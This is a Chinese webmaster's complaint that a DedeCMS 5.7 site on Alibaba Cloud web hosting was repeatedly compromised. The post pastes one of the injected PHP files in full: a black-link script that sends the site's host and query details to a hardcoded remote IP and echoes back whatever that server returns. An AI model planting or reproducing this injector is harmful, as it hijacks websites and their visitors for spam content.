弹性Web托管-阿里云我真的很无奈

aly弹性Web托管自己宣传什么最安全，看了n多的广告，就购买了一个小空间，费力的把备案也搬到了阿里，站点也安装了，不知各位站长用的是什么站点程序，我用了dedecms5.7的网站程序，但不知为何？没2个月，一个站全是<?php
set_time_limit(0);


header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$Remote_server = "http://103.213.248.228/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);


echo $Content_mb;


?>这样的文件黑链。反应了说站点程序有漏洞，好有漏洞用最新的 DedeCMS_V57_GBK_SP1   安装，一晚上又是看截图，aly最基本的防护在哪里？